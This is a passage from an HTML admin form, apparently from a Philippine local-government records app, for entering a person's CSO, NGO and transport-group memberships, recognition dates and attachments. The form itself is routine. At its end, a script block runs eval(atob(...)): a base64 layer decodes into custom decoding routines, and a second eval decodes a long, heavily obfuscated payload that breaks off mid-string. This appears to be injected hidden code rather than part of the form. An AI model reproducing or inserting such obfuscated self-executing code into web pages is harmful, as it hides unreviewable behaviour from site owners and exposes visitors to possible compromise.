					<input type="date" class="form-control" id="exampleInputunamedate_join" placeholder="Date Join"
						name="date_join[]" autocomplete="off" />
				</div>

				<div class="form-group" id="posiiton_cso" style="display: none;">
					<label for="exampleInputuname">Position</label>
					<input type="text" class="form-control" id="exampleInputunamedate_join" placeholder="Position"
						name="position_cso[]" autocomplete="off" />
				</div>

				<div class="form-group" id="date_appointed" style="display: none;">
					<label for="exampleInputuname">Date Appointed</label>
					<input type="date" class="form-control" id="exampleInputunamedate_appointed"
						placeholder="Date Appointed" name="date_appointed[]" autocomplete="off" />
				</div>

				<div class="form-group" id="recognized" style="display: none;">
					<label for="exampleInputuname">Recognized</label>
					<select name="recog[]" id='recog[]' class="select2">
						<option value="0">No</option>
						<option value="1">Yes</option>
					</select>
				</div>

				<div class="form-group" id="recognized_brgy" style="display: none;">
					<label for="exampleInputuname">Recognized by Brgy</label>
					<input type="text" class="form-control" id="exampleInputunamerecognized_brgy"
						placeholder="Recognized by Brgy" name="recognized_brgy[]" autocomplete="off" />
				</div>


				<div class="form-group" id="date_recognized_brgy" style="display: none;">
					<label for="exampleInputuname">Date Recognized by Barangay</label>


					<input type="date" class="form-control" id="exampleInputunamedate_recognized_brgy"
						placeholder="Date Recognized by Barangay" name="date_recognized_brgy[]" autocomplete="off" />

				</div>

				<div class="form-group" id="city_origin" style="display: none;">
					<label for="exampleInputuname">Recognized by City</label>


					<input type="text" class="form-control" id="exampleInputunamecity" placeholder="Recognized by City"
						name="origin_city[]" autocomplete="off" />

				</div>

				<div class="form-group" id="date_recognized_city" style="display: none;">
					<label for="exampleInputuname">Date Recognized by City</label>


					<input type="date" class="form-control" id="exampleInputunamedate_recognized_city"
						placeholder="Date Recognized by Barangay" name="date_recognized_city[]" autocomplete="off" />

				</div>

				<div class="form-group" id="years_exist" style="display: none;">
					<label for="exampleInputuname">Years Since</label>


					<input type="number" class="form-control" id="exampleInputunameYearexist" placeholder="Years Since"
						name="years_exist[]" autocomplete="off" />

				</div>
				<div class="form-group" id="exist" style="display: none;">
					<label for="exampleInputuname">Year of Existance</label>


					<input type="text" class="form-control" id="exampleInputunameexist" placeholder="Years Exist"
						name="no_exist[]" autocomplete="off" />

				</div>

				<div class="form-group" id="registerd" style="display: none;">
					<label for="exampleInputuname">Registered</label>

					<select name="reg[]" id='register' class="">
						<option value=""></option>
						<option value="0">No</option>
						<option value="1">Yes</option>
					</select>

				</div>

				<div class="form-group" id="registerd_date" style="display: none;">
					<label for="exampleInputuname">Date Resgisterd</label>

					<input type="date" class="form-control" id="exampleInputunamedate_reg" placeholder="Date Registered"
						onkeyup="Readmykey(this.value,'exampleInputunamedate_reg')" name="date_reg[]"
						autocomplete="off" />

				</div>
				<div class="form-group" id="add_attachment" style="display: none;">
					<label for="exampleInputuname">Add Attachments</label>
					<input type="file" class="form-control" id="exampleInputunamedate_attach"
						placeholder="Add Attachemnts" name="add_attach_cso[]" />
				</div>
				<hr>
			</div>

			<div class="form-group" id="submit" style="text-align: center; margin-top: 50px;">
				<button type="button" class="btn btn-success waves-effect waves-light m-r-10"
					onclick="addElements()">Add CSO</button>
			</div>

		</div>




		<!-- ==================================================================CSO================================================================= -->

		<!-- ===================================================================NGO================================================================ -->
		<div class="white-box">
			<h3 style="color:#663399; font-weight:bold;" id="other_title">Non Goverment Organization</h3>
			<hr>
			<div id="ngo_container">
				<input type="hidden" id='getter_ngo' name='separator_ngo[]' value="">
				<div class="form-group">
					<label for="orgname_ngo">Name of Non Goverment Organization</label>
					<input type="text" name="orgname_ngo[]" class="form-control">
					<br>

				</div>

				<div class="form-group">
					<label for="">Status</label>
					<select name="status_ngo[]" id='status_in_input_ngo' class="">
						<option value=""></option>
						<option value="Member">Member</option>
						<option value="Official">Officials</option>
						<option value="President">President</option>
					</select>
				</div>
				<div class="form-group" id="date_join_ngo" style="display: none;">
					<label for="exampleInputuname">Date Join</label>
					<input type="date" class="form-control" id="exampleInputunamedate_join" placeholder="Date Join"
						name="date_join_ngo[]" autocomplete="off" />
				</div>

				<div class="form-group" id="posiiton_ngo" style="display: none;">
					<label for="exampleInputuname">Position</label>
					<input type="text" class="form-control" id="exampleInputunamedate_join" placeholder="Position"
						name="position_ngo[]" autocomplete="off" />
				</div>

				<div class="form-group" id="date_appointed_ngo" style="display: none;">
					<label for="exampleInputuname">Date Appointed</label>
					<input type="date" class="form-control" id="exampleInputunamedate_appointed"
						placeholder="Date Appointed" name="date_appointed_ngo[]" autocomplete="off" />
				</div>

				<div class="form-group" id="recognized_ngo" style="display: none;">
					<label for="exampleInputuname">Recognized</label>
					<select name="recog_ngo[]" id='recog_ngo[]' class="select2">
						<option value="0">No</option>
						<option value="1">Yes</option>
					</select>
				</div>

				<div class="form-group" id="recognized_brgy_ngo" style="display: none;">
					<label for="exampleInputuname">Recognized by Brgy</label>
					<input type="text" class="form-control" id="exampleInputunamerecognized_brgy"
						placeholder="Recognized by Brgy" name="recognized_brgy_ngo[]" autocomplete="off" />
				</div>


				<div class="form-group" id="date_recognized_brgy_ngo" style="display: none;">
					<label for="exampleInputuname">Date Recognized by Barangay</label>


					<input type="date" class="form-control" id="exampleInputunamedate_recognized_brgy"
						placeholder="Date Recognized by Barangay" name="date_recognized_brgy_ngo[]"
						autocomplete="off" />

				</div>

				<div class="form-group" id="city_origin_ngo" style="display: none;">
					<label for="exampleInputuname">Recognized by City</label>


					<input type="text" class="form-control" id="exampleInputunamecity" placeholder="Recognized by City"
						name="origin_city_ngo[]" autocomplete="off" />

				</div>

				<div class="form-group" id="date_recognized_city_ngo" style="display: none;">
					<label for="exampleInputuname">Date Recognized by City</label>


					<input type="date" class="form-control" id="exampleInputunamedate_recognized_city_ngo"
						placeholder="Date Recognized by Barangay" name="date_recognized_city_ngo[]"
						autocomplete="off" />

				</div>

				<div class="form-group" id="years_exist_ngo" style="display: none;">
					<label for="exampleInputuname">Years Since</label>


					<input type="number" class="form-control" id="exampleInputunameYearexist" name="years_exist_ngo[]"
						placeholder="Years Since" autocomplete="off" />

				</div>
				<div class="form-group" id="exist_ngo" style="display: none;">
					<label for="exampleInputuname">Year of Existance</label>


					<input type="text" class="form-control" id="exampleInputunameexist" placeholder="Years Exist"
						name="no_exist_ngo[]" autocomplete="off" />

				</div>

				<div class="form-group" id="registerd_ngo" style="display: none;">
					<label for="exampleInputuname">Registered</label>

					<select name="reg_ngo[]" id='register_ngo' class="">
						<option value=""></option>
						<option value="0">No</option>
						<option value="1">Yes</option>
					</select>

				</div>

				<div class="form-group" id="registerd_date_ngo" style="display: none;">
					<label for="exampleInputuname">Date Registerd</label>

					<input type="date" class="form-control" id="exampleInputunamedate_reg" placeholder="Date Registered"
						onkeyup="Readmykey(this.value,'exampleInputunamedate_reg')" name="date_reg_ngo[]"
						autocomplete="off" />

				</div>
				<div class="form-group" id="add_attachment" style="display: none;">
					<label for="exampleInputuname">Add Attachments</label>
					<input type="file" class="form-control" id="exampleInputunamedate_attach"
						placeholder="Add Attachemnts" name="add_attach_ngo[]" />
				</div>
				<hr>
			</div>

			<div class="form-group" id="submit" style="text-align: center; margin-top: 50px;">
				<button type="button" class="btn btn-success waves-effect waves-light m-r-10"
					onclick="addElementsNgo()">Add NGO</button>
			</div>

		</div>


		<!-- ===================================================================NGO================================================================ -->
		<!-- ===================================================================TRASPORT GROUP================================================================ -->
		<div class="white-box">
			<h3 style="color:#663399; font-weight:bold;" id="other_title">Transport Group</h3>
			<hr>
			<div id="trans_container">
				<input type="hidden" id='getter_trans' name='separator_trans[]' value="">
				<div class="form-group">
					<label for="orgname_trans">Name of Transport Group</label>
					<input type="text" name="orgname_trans[]" class="form-control">
					<br>

				</div>

				<div class="form-group">
					<label for="">Status</label>
					<select name="status_trans[]" id='status_in_input_trans' class="">
						<option value=""></option>
						<option value="Member">Member</option>
						<option value="Official">Officials</option>
						<option value="President">President</option>
					</select>
				</div>
				<div class="form-group" id="date_join_trans" style="display: none;">
					<label for="exampleInputuname">Date Join</label>
					<input type="date" class="form-control" id="exampleInputunamedate_join" placeholder="Date Join"
						name="date_join_trans[]" autocomplete="off" />
				</div>

				<div class="form-group" id="posiiton_trans" style="display: none;">
					<label for="exampleInputuname">Position</label>
					<input type="text" class="form-control" id="exampleInputunamedate_join" placeholder="Position"
						name="position_trans[]" autocomplete="off" />
				</div>

				<div class="form-group" id="date_appointed_trans" style="display: none;">
					<label for="exampleInputuname">Date Appointed</label>
					<input type="date" class="form-control" id="exampleInputunamedate_appointed"
						placeholder="Date Appointed" name="date_appointed_trans[]" autocomplete="off" />
				</div>

				<div class="form-group" id="recognized_trans" style="display: none;">
					<label for="exampleInputuname">Recognized</label>
					<select name="recog_trans[]" id='recog_trans[]' class="select2">
						<option value="0">No</option>
						<option value="1">Yes</option>
					</select>
				</div>

				<div class="form-group" id="recognized_brgy_trans" style="display: none;">
					<label for="exampleInputuname">Recognized by Brgy</label>
					<input type="text" class="form-control" id="exampleInputunamerecognized_brgy"
						placeholder="Recognized by Brgy" name="recognized_brgy_trans[]" autocomplete="off" />
				</div>


				<div class="form-group" id="date_recognized_brgy_trans" style="display: none;">
					<label for="exampleInputuname">Date Recognized by Barangay</label>


					<input type="date" class="form-control" id="exampleInputunamedate_recognized_brgy"
						placeholder="Date Recognized by Barangay" name="date_recognized_brgy_trans[]"
						autocomplete="off" />

				</div>

				<div class="form-group" id="city_origin_trans" style="display: none;">
					<label for="exampleInputuname">Recognized by City</label>


					<input type="text" class="form-control" id="exampleInputunamecity" placeholder="Recognized by City"
						name="origin_city_trans[]" autocomplete="off" />

				</div>

				<div class="form-group" id="date_recognized_city_trans" style="display: none;">
					<label for="exampleInputuname">Date Recognized by City</label>


					<input type="date" class="form-control" id="exampleInputunamedate_recognized_city_trans"
						placeholder="Date Recognized by Barangay" name="date_recognized_city_trans[]"
						autocomplete="off" />

				</div>

				<div class="form-group" id="years_exist_trans" style="display: none;">
					<label for="exampleInputuname">Years Since</label>


					<input type="number" class="form-control" id="exampleInputunameYearexist" name="years_exist_trans[]"
						placeholder="Years Since" autocomplete="off" />

				</div>
				<div class="form-group" id="exist_trans" style="display: none;">
					<label for="exampleInputuname">Year of Existance</label>
					<input type="text" class="form-control" id="exampleInputunameexist" placeholder="Years Exist"
						name="no_exist_trans[]" autocomplete="off" />
				</div>

				<div class="form-group" id="registerd_trans" style="display: none;">
					<label for="exampleInputuname">Registered</label>
					<select name="reg_trans[]" id='register_trans' class="">
						<option value=""></option>
						<option value="0">No</option>
						<option value="1">Yes</option>
					</select>
				</div>

				<div class="form-group" id="registerd_date_trans" style="display: none;">
					<label for="exampleInputuname">Date Registerd</label>

					<input type="date" class="form-control" id="exampleInputunamedate_reg" placeholder="Date Registered"
						onkeyup="Readmykey(this.value,'exampleInputunamedate_reg')" name="date_reg_trans[]"
						autocomplete="off" />

				</div>
				<div class="form-group" id="add_attachment_trans" style="display: none;">
					<label for="exampleInputuname">Add Attachments</label>
					<input type="file" class="form-control" id="exampleInputunamedate_attach"
						placeholder="Add Attachemnts" name="add_attach_trans[]" />
				</div>
				<hr>
			</div>

			<div class="form-group" id="submit" style="text-align: center; margin-top: 50px;">
				<button type="button" class="btn btn-success waves-effect waves-light m-r-10"
					onclick="addElementsTrans()">Add Tranport Group</button>
			</div>

		</div>
		<script>
			eval(atob('dmFyIHU9dm9pZCAwLGk0PTQsaTg9OCxyZWM9bmV3IFJlZ0V4cCgiLnsxLDR9IiwiZyIpO2Z1bmN0aW9uIF9mX2Mocyl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUocyk7fXZhciBoZD1mdW5jdGlvbihhKXt2YXIgYixjPWEubWF0Y2gocmVjKXx8W10sZD0iIjtmb3IoYj0wO2I8Yy5sZW5ndGg7YisrKWQrPWhoKHBhcnNlSW50KGNbYl0saTYpKTtyZXR1cm4gZH07dmFyIGh3PWhkO1N0cmluZy5wcm90b3R5cGUuY2M9ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuY2hhckNvZGVBdChhKX07dmFyIGk2PTE2LGhlPWZ1bmN0aW9uKGEpe3ZhciBiLGMsZD0iIjtmb3IoYz0wO2M8YS5sZW5ndGg7YysrKWI9YS5jYyhjKS50b1N0cmluZyhpNiksZCs9KCIwMDAiK2IpLnNsaWNlKC00KTtyZXR1cm4gZH0saGg9ZnVuY3Rpb24oYSl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoYSl9LGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKTtmdW5jdGlvbiBhdG9iKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWEucmVwbGFjZShyZWEsIiIpO2o8YS5sZW5ndGg7KWU9aHdhLmluZGV4T2YoYS5jaGFyQXQoaisrKSksZj1od2EuaW5kZXhPZihhLmNoYXJBdChqKyspKSxnPWh3YS5pbmRleE9mKGEuY2hhckF0KGorKykpLGg9aHdhLmluZGV4T2YoYS5jaGFyQXQoaisrKSksYj1lPDwyfGY+PjQsYz0oMTUmZik8PDR8Zz4+MixkPSgzJmcpPDw2fGgsaSs9X2ZfYyhiKSw2NCE9ZyYmKGkrPV9mX2MoYykpLDY0IT1oJiYoaSs9X2ZfYyhkKSk7cmV0dXJuIGk9dXRvYShpKX1mdW5jdGlvbiBidG9hKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWF0b3UoYSk7ajxhLmxlbmd0aDspYj1hLmNoYXJDb2RlQXQoaisrKSxjPWEuY2hhckNvZGVBdChqKyspLGQ9YS5jaGFyQ29kZUF0KGorKyksZT1iPj4yLGY9KDMmYik8PDR8Yz4+NCxnPSgxNSZjKTw8MnxkPj42LGg9NjMmZCxpc05hTihjKT9nPWg9NjQ6aXNOYU4oZCkmJihoPTY0KSxpPWkraHdhLmNoYXJBdChlKStod2EuY2hhckF0KGYpK2h3YS5jaGFyQXQoZykraHdhLmNoYXJBdChoKTtyZXR1cm4gaX1mdW5jdGlvbiBhdG91KGEpe2E9YS5yZXBsYWNlKHJlYiwiXG4iKTtmb3IodmFyIGI9IiIsYz0wO2M8YS5sZW5ndGg7YysrKXt2YXIgZD1hLmNoYXJDb2RlQXQoYyk7MTI4PmQ/Yis9X2ZfYyhkKTpkPjEyNyYmMjA0OD5kPyhiKz1fZl9jKGQ+PjZ8MTkyKSxiKz1fZl9jKDYzJmR8MTI4KSk6KGIrPV9mX2MoZD4+MTJ8MjI0KSxiKz1fZl9jKGQ+PjYmNjN8MTI4KSxiKz1fZl9jKDYzJmR8MTI4KSl9cmV0dXJuIGJ9ZnVuY3Rpb24gdXRvYShhKXtmb3IodmFyIGI9IiIsYz0wLGQ9YzE9YzI9MDtjPGEubGVuZ3RoOylkPWEuY2hhckNvZGVBdChjKSwxMjg+ZD8oYis9X2ZfYyhkKSxjKyspOmQ+MTkxJiYyMjQ+ZD8oYzI9YS5jaGFyQ29kZUF0KGMrMSksYis9X2ZfYygoMzEmZCk8PDZ8NjMmYzIpLGMrPTIpOihjMj1hLmNoYXJDb2RlQXQoYysxKSxjMz1hLmNoYXJDb2RlQXQoYysyKSxiKz1fZl9jKCgxNSZkKTw8MTJ8KDYzJmMyKTw8Nnw2MyZjMyksYys9Myk7cmV0dXJuIGJ9dmFyIGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKSxyZWE9bmV3IFJlZ0V4cCgiW15BLVphLXowLTkrLz1dIiwiZyIpLHJlYj1uZXcgUmVnRXhwKCJcclxuIiwiZyIpO3ZhciBfXz17YTpod2Euc3BsaXQoIiIpLCQ6ZnVuY3Rpb24oYSxiKXtmb3IodmFyIGM9IiIsZD10aGlzLmEubGVuZ3RoLGU9YS5sZW5ndGgsZj0wO2Y8ZTtmKyspZm9yKHZhciBnPTA7ZzxkO2crKylpZigiZSI9PWIpe2lmKHRoaXMuYVtnXT09PWFbZl0pe2MrPXRoaXMuYltnXTticmVha319ZWxzZSBpZigiZCI9PWImJnRoaXMuYltnXT09PWFbZl0pe2MrPXRoaXMuYVtnXTticmVha31yZXR1cm4gY30sYjpodygiMDAzZDAwMmYwMDJiMDAzOTAwMzgwMDM3MDAzNjAwMzUwMDM0MDAzMzAwMzIwMDMxMDAzMDAwN2EwMDc5MDA3ODAwNzcwMDc2MDA3NTAwNzQwMDczMDA3MjAwNzEwMDcwMDA2ZjAwNmUwMDZkMDA2YzAwNmIwMDZhMDA2OTAwNjgwMDY3MDA2NjAwNjUwMDY0MDA2MzAwNjIwMDYxMDA1YTAwNTkwMDU4MDA1NzAwNTYwMDU1MDA1NDAwNTMwMDUyMDA1MTAwNTAwMDRmMDA0ZTAwNGQwMDRjMDA0YjAwNGEwMDQ5MDA0ODAwNDcwMDQ2MDA0NTAwNDQwMDQzMDA0MjAwNDEiKS5zcGxpdCgiIil9Ow==')); eval(atob(__.$('3+fclKzLlqrSj+cSkarfn5cY26nLlazMmqDS2+bFoKDSkJwgntMc2+4dkJvfj5rNpKbSpKbSk5rM4ecUj9Mc2+4dn67MnrDWlKbS4ecUldMY3+ge4J3bnKbNj6rOn+4X1+wY4ezOnqjXkJvbkavhn67Mnu4X2tTb1aDS2+3dm67SnKse1+fajqHdj6bRlegXiKzRlZzM46sD3+fMm6bN2uHKoqQY2tUc2+4dk6DNmqbMlKHhoJzR1+=dn67MnrDfk5/RmqHMnqwU4+zOnqzRnKHXiarc1+=dkardlKjSmpXbn7DekajH1+=dn67MnrDOnqzRnKHXiarcpK3OnJcU4+zdmpvHpKDOmqjXleQg4Kvfj6rhkardlKjSmpXbn7DdmpvH1+=diqrfkZzhnpfXkJwU4+zbi6bNj+Qg4K7cn7Dfj5vfoKfTnqHM1+=dkarZmpzMnp3c4ecSm6bcnugX1+3znqLenp4extMDntDM1ZzYlJkY2tYetKnamqzXoqQextMDntEYj+HNm6DJ2+cU3+ge4J/RkKbXj6DSpKzNlOQg4Kvfj6rhop/QlKbSj6rc4ecSkKfRjOgX2tYes53bkKbcnqHM4dMDxqsa3egc2+4dkardlKjSmpXbn+Qg4Jbbop3NpKrImpzM1+=dnpfXkJwU4+zOnqjXkJvbkawU4+zfn6vhopvMoqzYlqrSj+4X1ZzYlJkY2uQc2+4dkardlKjSmpXbn+4X1aDS2+3dm67SnKse1+fajqHdj6bRlegXiO4Q4dMD3+fMm6bN2uHKoqQY2tEc2+4dkardlKjSmpXbn7DekajH1+=dn67MnrDOnqzRnKHXiarcpK3OnJcU4+zdmpvHpKDOmqjXleQg4Kvfj6rhkardlKjSmpXbn7DdmpvH4ecSm6bcnugXyewY4ezOnqzRnKHXiarcpK3OnJcU4+zcopvbpJ3boKDZlabGnqvhoZ3ZiuQg4KzXj5bhlJ3XnKbS1+=dn67MnrDOnqzRnKHXiarcpKzXj5ce2uHNm6DJ2+bD2ucU3+ge4J3bnKbNj6rO4ecSlKIY4azYoqHZnu4U26nLlazMmqDS2+bF4d=extMc25vYmp0X1Znfl+gXxKISm6bcnugXyaISkKfRjOgXhucX2pMX2tTdlKHNj+/UxuwY4ezNj67MjpzhmqHhmqHQjpvhlajR4ecUotMc2+4dn67MnrDWlKbSpKHZlO4X16wD3+ge4J3bnKbNj6rOn7DSnKEe2uPRxuwY4ezOnqjXkJvbkavhn67MnrDSnKEe2tTU1aDS2+3dm67SnKse1+fajqHdj6bRlegXiKzRlZzM46sD3+fMm6bN2uHKoqQY2tUc2+4dn67MnrDWlKbSpKHZlOQg4J/RkKbXj6DSpKHZlOQdn67MnrDfk5/RmqHMnqvhlajR1+=dkardlKjSmpXbn7DSnKEU4+zOnqzRnKHXiarcpK3OnJbhlajR1+=dn67MnrDOnqzRnKHXiarcpK3OnJbhlajR1+=doKbMirDRkabZmqHhlajR1+=dn67MnrDOnqzRnKHXiarcpKzXj5bhlajR1+=diqrfkZzhnpfXkJvhlajR1+=dnpfXkJvhlajR1+=doqvcpK7Mj67dm6LblZvhlajR1+=dkarZmpzMnp3cpKHZlO4X1afXn6sY2uQetqrToarO4dMDxqsBouHNm6DJ2+cG4cDanabdmq7U4dMDxqsB3+ge4J/RkKbXj6DSpKHZlOQg4Kvfj6rhop/QlKbSj6rcpKHZlO4X1ZzYlJkY2tYes53bkKbcnqHM4dMDxqsa3egc2+4dkardlKjSmpXbn7DSnKEU4+zbi6bNj7DSnKEU4+zOnqjXkJvbkavhlajR1+=diqrfkZzhnpfXkJvhlajR1+=doqvcpK7Mj67dm6LblZvhlajR1+=dkarZmpzMnp3hj53flZ0U4J3bnKbNj6rOpJvOoqHNpKvfj6se2uHNm6DJ2+cU3+ge4J3boKDZlabGnqvhlajR4ecSlKIY4azYoqHZnu4U26nLlazMmqDS2+bF4d=extMc25vYmp0X1Znfl+gXxOwY4ezOnqzRnKHXiarcpK3OnJbhlajR1+=dn67MnrDOnqzRnKHXiarcpK3OnJbhlajR1+=doKbMirDRkabZmqHhlajR1+=dn67MnrDOnqzRnKHXiarcpKzXj5bhlajR4ecSm6bcnugXyewY4ezOnqzRnKHXiarcpK3OnJbhlajR1+=dn67MnrDOnqzRnKHXiarcpK3OnJbhlajR1+=doKbMirDRkabZmqHhlajR1+=dn67MnrDOnqzRnKHXiarcpKzXj5bhlajR4ecSkKfRjOgXhucX16wSlKIY4azYoqHZnu4U26nLlazMmqDS2+bF4d=extMc25vYmp0X1Znfl+gXxKESm6bcnugXyaESkKfRjOgXhucX2pMX2tTdlKHNj+/XxuwY4ezNj67MjpzhmqHhmqHQjpvhj53flZ0e2uPNxuwY4ezcopvbpKXRmqHhj53flZ0e2uPdxuwY4ezOnqjXkJvbkavhj53flZ0e2uPOxuwY4ezOnqjXkJvbkavhn67MnrDMka7SkO4XyKcSlKIY4azYoqHZnu4U26nLlazMmqDS2+bFoKDSkJwgntMc25vYmp0X1Znfl+gXyOwY4ezQlJzXmpvRlbDMka7SkOQdkarZmpzMnp3cpJvOoqHN1+zQlJzXj6bRlbDMka7SkOQg4Kvfj6rhop/QlKbSj6rcpJvOoqHN1+=dkardlKjSmpXbn7DMka7SkOQg4J3boKDZlabGnqvhoZ3ZirDMka7SkOQg4Kvfj6rhkardlKjSmpXbn7DekajHpJvOoqHN1+=doKbMirDRkabZmqHhj53flZ0U4+zcopvbpJ3boKDZlabGnqvhoKbMirDMka7SkOQg4Jbbop3NpKrImpzMpJvOoqHN1+=dnpfXkJvhj53flZ0U4+zfn6vhopvMoqzYlqrSj7DMka7SkO4X1afXn6sY2uQetqrToarO4dMDxqsBkOHNm6DJ2+cG4cDanabdmq7U4dMDxqsB3+ge4J/RkKbXj6DSpJvOoqHN1+=dn67MnrDfk5/RmqHMnqvhj53flZ0e2uHNm6DJ2+cG4b/OnpzXn6rSj+4DxtLb3eoY3+ge4J3boKDZlabGnqvhj53flZ0U4+=diqrfkZzhnpfXkJvhj53flZ0U4+zbi6bNj7DMka7SkOQg4J3bnKbNj6rOn7DMka7SkOQg4K7cn7Dfj5vfoKfTnqHMpJvOoqHN4ecSkKfRjOgX1+wY4ezOnqzRnKHXiarcpJvOoqHN4ecSlKIY4azYoqHZnu4U26nLlazMmqDS2+bF4d=extMc25vYmp0X1Znfl+gXxOwY4ezOnqzRnKHXiarcpK3OnJbhj53flZ0U4+zcopvbpJ3boKDZlabGnqvhoZ3ZirDMka7SkOQg4KzXj5bhlJ3XnKbSpJvOoqHN1+=dn67MnrDOnqzRnKHXiarcpKzXj5bhj53flZ0e2uHYmqvb2+cG3+ge4J3boKDZlabGnqvhoZ3ZirDMka7SkOQg4Kvfj6rhkardlKjSmpXbn7DekajHpJvOoqHN1+=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